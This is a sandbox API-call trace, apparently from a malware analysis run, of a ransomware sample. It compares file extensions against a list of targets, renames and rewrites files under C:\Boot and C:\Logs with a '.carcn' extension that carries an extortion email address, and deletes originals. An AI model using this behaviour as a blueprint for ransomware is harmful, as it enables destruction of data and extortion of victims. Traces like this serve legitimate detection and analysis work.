(lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.248] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.248] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString=".doc") returned 4 [0175.249] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.249] lstrlenW (lpString=".docx") returned 5 [0175.249] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.249] lstrlenW (lpString=".pdf") returned 4 [0175.249] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.249] lstrlenW (lpString=".xls") returned 4 [0175.249] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.249] lstrlenW (lpString=".xlsx") returned 5 [0175.249] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.249] lstrlenW (lpString=".ppt") returned 4 [0175.249] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString=".zip") returned 4 [0175.249] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.249] lstrlenW (lpString=".rar") returned 4 [0175.249] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.249] lstrlenW (lpString=".bz2") returned 4 [0175.249] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.249] lstrlenW (lpString=".7z") returned 3 [0175.249] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString=".dbf") returned 4 [0175.249] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString=".1cd") returned 4 [0175.249] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString=".jpg") returned 4 [0175.249] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.249] lstrlenW (lpString=".doc") returned 4 [0175.249] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.250] lstrlenW (lpString=".docx") returned 5 [0175.250] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.250] lstrlenW (lpString=".pdf") returned 4 [0175.250] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.250] lstrlenW (lpString=".xls") returned 4 [0175.250] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.250] lstrlenW (lpString=".xlsx") returned 5 [0175.250] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.250] lstrlenW (lpString=".ppt") returned 4 [0175.250] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.250] lstrlenW (lpString=".zip") returned 4 [0175.250] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.250] lstrlenW (lpString=".rar") returned 4 [0175.250] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.250] lstrlenW (lpString=".bz2") returned 4 [0175.250] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.250] lstrlenW (lpString=".7z") returned 3 [0175.250] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.250] lstrlenW (lpString=".dbf") returned 4 [0175.250] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.250] lstrlenW (lpString=".1cd") returned 4 [0175.250] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.250] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0175.250] lstrlenW (lpString=".jpg") returned 4 [0175.250] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.250] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0175.250] lstrlenW (lpString="memtest.exe.mui") returned 15 [0175.250] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.251] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=45472) returned 1 [0175.251] CloseHandle (hObject=0x378) returned 1 [0175.251] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0175.251] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.251] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.251] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.251] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.251] lstrlenW (lpString=".doc") returned 4 [0175.251] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.251] lstrlenW (lpString=".docx") returned 5 [0175.251] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.251] lstrlenW (lpString=".pdf") returned 4 [0175.251] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.251] lstrlenW (lpString=".xls") returned 4 [0175.251] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.251] lstrlenW (lpString=".xlsx") returned 5 [0175.251] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.251] lstrlenW (lpString=".ppt") returned 4 [0175.251] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.251] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.251] lstrlenW (lpString=".zip") returned 4 [0175.251] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.251] lstrlenW (lpString=".rar") returned 4 [0175.251] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.251] lstrlenW (lpString=".bz2") returned 4 [0175.252] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.252] lstrlenW (lpString=".7z") returned 3 [0175.252] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.252] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.252] lstrlenW (lpString=".dbf") returned 4 [0175.252] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.252] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.252] lstrlenW (lpString=".1cd") returned 4 [0175.252] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.252] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.252] lstrlenW (lpString=".jpg") returned 4 [0175.252] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.252] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.252] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.252] lstrlenW (lpString=".doc") returned 4 [0175.252] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.252] lstrlenW (lpString=".docx") returned 5 [0175.252] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.252] lstrlenW (lpString=".pdf") returned 4 [0175.252] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.252] lstrlenW (lpString=".xls") returned 4 [0175.252] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.252] lstrlenW (lpString=".xlsx") returned 5 [0175.252] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.252] lstrlenW (lpString=".ppt") returned 4 [0175.252] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.252] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.252] lstrlenW (lpString=".zip") returned 4 [0175.252] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.252] lstrlenW (lpString=".rar") returned 4 [0175.252] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.252] lstrlenW (lpString=".bz2") returned 4 [0175.252] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.252] lstrlenW (lpString=".7z") returned 3 [0175.253] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.253] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.253] lstrlenW (lpString=".dbf") returned 4 [0175.253] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.253] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.253] lstrlenW (lpString=".1cd") returned 4 [0175.253] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.253] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0175.253] lstrlenW (lpString=".jpg") returned 4 [0175.253] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.253] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0175.253] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.253] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.253] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=79200) returned 1 [0175.253] CloseHandle (hObject=0x378) returned 1 [0175.253] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0175.253] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.253] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.253] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.253] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString=".doc") returned 4 [0175.254] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.254] lstrlenW (lpString=".docx") returned 5 [0175.254] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.254] lstrlenW (lpString=".pdf") returned 4 [0175.254] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.254] lstrlenW (lpString=".xls") returned 4 [0175.254] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.254] lstrlenW (lpString=".xlsx") returned 5 [0175.254] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.254] lstrlenW (lpString=".ppt") returned 4 [0175.254] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.254] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString=".zip") returned 4 [0175.254] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.254] lstrlenW (lpString=".rar") returned 4 [0175.254] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.254] lstrlenW (lpString=".bz2") returned 4 [0175.254] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.254] lstrlenW (lpString=".7z") returned 3 [0175.254] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.254] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString=".dbf") returned 4 [0175.254] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.254] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString=".1cd") returned 4 [0175.254] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.254] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString=".jpg") returned 4 [0175.254] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.254] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.254] lstrlenW (lpString=".doc") returned 4 [0175.254] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.254] lstrlenW (lpString=".docx") returned 5 [0175.255] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.255] lstrlenW (lpString=".pdf") returned 4 [0175.255] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.255] lstrlenW (lpString=".xls") returned 4 [0175.255] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.255] lstrlenW (lpString=".xlsx") returned 5 [0175.255] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.255] lstrlenW (lpString=".ppt") returned 4 [0175.255] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.255] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.255] lstrlenW (lpString=".zip") returned 4 [0175.255] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.255] lstrlenW (lpString=".rar") returned 4 [0175.255] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.255] lstrlenW (lpString=".bz2") returned 4 [0175.255] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.255] lstrlenW (lpString=".7z") returned 3 [0175.255] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.255] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.255] lstrlenW (lpString=".dbf") returned 4 [0175.255] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.255] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.255] lstrlenW (lpString=".1cd") returned 4 [0175.255] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.255] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0175.255] lstrlenW (lpString=".jpg") returned 4 [0175.255] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.255] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0175.256] lstrlenW (lpString="memtest.exe.mui") returned 15 [0175.256] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.256] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=45984) returned 1 [0175.256] CloseHandle (hObject=0x378) returned 1 [0175.256] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0175.256] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.256] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.256] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0175.256] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0175.256] lstrlenW (lpString=".doc") returned 4 [0175.256] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.256] lstrlenW (lpString=".docx") returned 5 [0175.256] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.256] lstrlenW (lpString=".pdf") returned 4 [0175.256] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.256] lstrlenW (lpString=".xls") returned 4 [0175.256] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.256] lstrlenW (lpString=".xlsx") returned 5 [0175.256] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.256] lstrlenW (lpString=".ppt") returned 4 [0175.256] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.256] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0175.256] lstrlenW (lpString=".zip") returned 4 [0175.256] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.257] lstrlenW (lpString=".rar") returned 4 [0175.257] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.257] lstrlenW (lpString=".bz2") returned 4 [0175.257] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.257] lstrlenW (lpString=".7z") returned 3 [0175.257] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.257] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0175.257] lstrlenW (lpString=".dbf") returned 4 [0175.257] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.433] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0176.019] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0176.958] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0 [0177.111] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0177.111] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.253] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.254] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.254] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\bootnxt.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0177.274] GetLastError () returned 0x0 [0177.274] ReadFile (in: hFile=0x318, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x1, lpOverlapped=0x0) returned 1 [0177.275] WriteFile (in: hFile=0x36c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x10, lpOverlapped=0x0) returned 1 [0177.276] ReadFile (in: hFile=0x318, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0177.276] WriteFile (in: hFile=0x36c, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0xe2, lpOverlapped=0x0) returned 1 [0177.276] SetEndOfFile (hFile=0x36c) returned 1 [0177.278] CloseHandle (hObject=0x36c) returned 1 [0177.286] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0177.286] SetEndOfFile (hFile=0x318) returned 1 [0177.287] CloseHandle (hObject=0x318) returned 1 [0177.287] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x26) returned 1 [0177.288] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0177.288] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.288] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.288] lstrlenW (lpString=".doc") returned 4 [0177.288] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0177.288] lstrlenW (lpString=".docx") returned 5 [0177.288] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0177.288] lstrlenW (lpString=".pdf") returned 4 [0177.288] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0177.288] lstrlenW (lpString=".xls") returned 4 [0177.289] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString=".xlsx") returned 5 [0177.289] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0177.289] lstrlenW (lpString=".ppt") returned 4 [0177.289] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.289] lstrlenW (lpString=".zip") returned 4 [0177.289] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString=".rar") returned 4 [0177.289] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString=".bz2") returned 4 [0177.289] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString=".7z") returned 3 [0177.289] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0177.289] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.289] lstrlenW (lpString=".dbf") returned 4 [0177.289] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.289] lstrlenW (lpString=".1cd") returned 4 [0177.289] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.289] lstrlenW (lpString=".jpg") returned 4 [0177.289] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0177.289] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.289] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.290] lstrlenW (lpString=".doc") returned 4 [0177.290] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString=".docx") returned 5 [0177.290] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0177.290] lstrlenW (lpString=".pdf") returned 4 [0177.290] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString=".xls") returned 4 [0177.290] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString=".xlsx") returned 5 [0177.290] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0177.290] lstrlenW (lpString=".ppt") returned 4 [0177.290] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.290] lstrlenW (lpString=".zip") returned 4 [0177.290] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString=".rar") returned 4 [0177.290] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString=".bz2") returned 4 [0177.290] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString=".7z") returned 3 [0177.290] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0177.290] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.290] lstrlenW (lpString=".dbf") returned 4 [0177.290] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.290] lstrlenW (lpString=".1cd") returned 4 [0177.290] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0177.290] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0177.290] lstrlenW (lpString=".jpg") returned 4 [0177.290] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0177.291] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0177.291] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0177.291] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.407] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0177.408] CloseHandle (hObject=0x310) returned 1 [0177.408] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0177.408] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.408] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 